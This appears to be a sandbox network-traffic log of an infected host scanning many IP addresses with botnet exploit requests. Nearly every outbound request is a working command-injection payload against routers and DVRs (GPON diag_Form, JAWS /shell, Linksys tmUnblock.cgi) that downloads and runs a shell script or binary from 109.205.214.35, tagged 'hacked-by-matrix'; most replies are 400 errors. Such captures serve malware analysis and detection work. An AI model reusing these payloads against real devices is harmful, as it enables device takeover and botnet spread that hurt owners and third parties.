Mar 21, 2024 05:26:35.319722891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.23	49332	37.140.119.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.319739103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.23	51792	118.78.177.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.319756031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.23	53982	2.254.164.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.319767952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.23	40402	162.217.156.5	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.844733000 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:36.331554890 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:36.420861959 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:26:35 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.23	40380	34.232.108.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.849684000 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.23	45898	184.163.104.142	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:35.996536016 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:36.587524891 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.23	60136	69.197.128.121	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.033936977 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:36.651519060 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:36.769903898 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:36 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.23	40994	107.149.188.48	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.090167999 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:36.253588915 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:26:36 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.23	47686	172.66.195.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.207699060 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:26:36.779000998 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.23	43402	195.85.255.250	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.307142019 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.23	53136	212.129.39.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.415556908 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:37.291507006 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:37.450917959 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.23	53850	137.220.60.129	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:36.516585112 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:36.687522888 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:36.797580957 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.23	44312	20.37.141.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.009232998 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.23	53118	212.129.39.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.035712004 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:37.200911045 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.23	53146	212.129.39.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.362301111 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.23	35048	185.146.84.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.400500059 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:37.607708931 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Thu, 21 Mar 2024 04:26:37 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.23	33066	200.218.225.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.400526047 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:26:37.608052015 CET	419	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:37 GMT Server: Apache/2.4.37 (rocky) Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.23	53140	212.129.39.194	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:37.738311052 CET	181	IN	HTTP/1.0 400 Bad request cache-control: no-cache content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.23	47786	37.151.229.89	80

Timestamp	Bytes transferred	Direction	Data
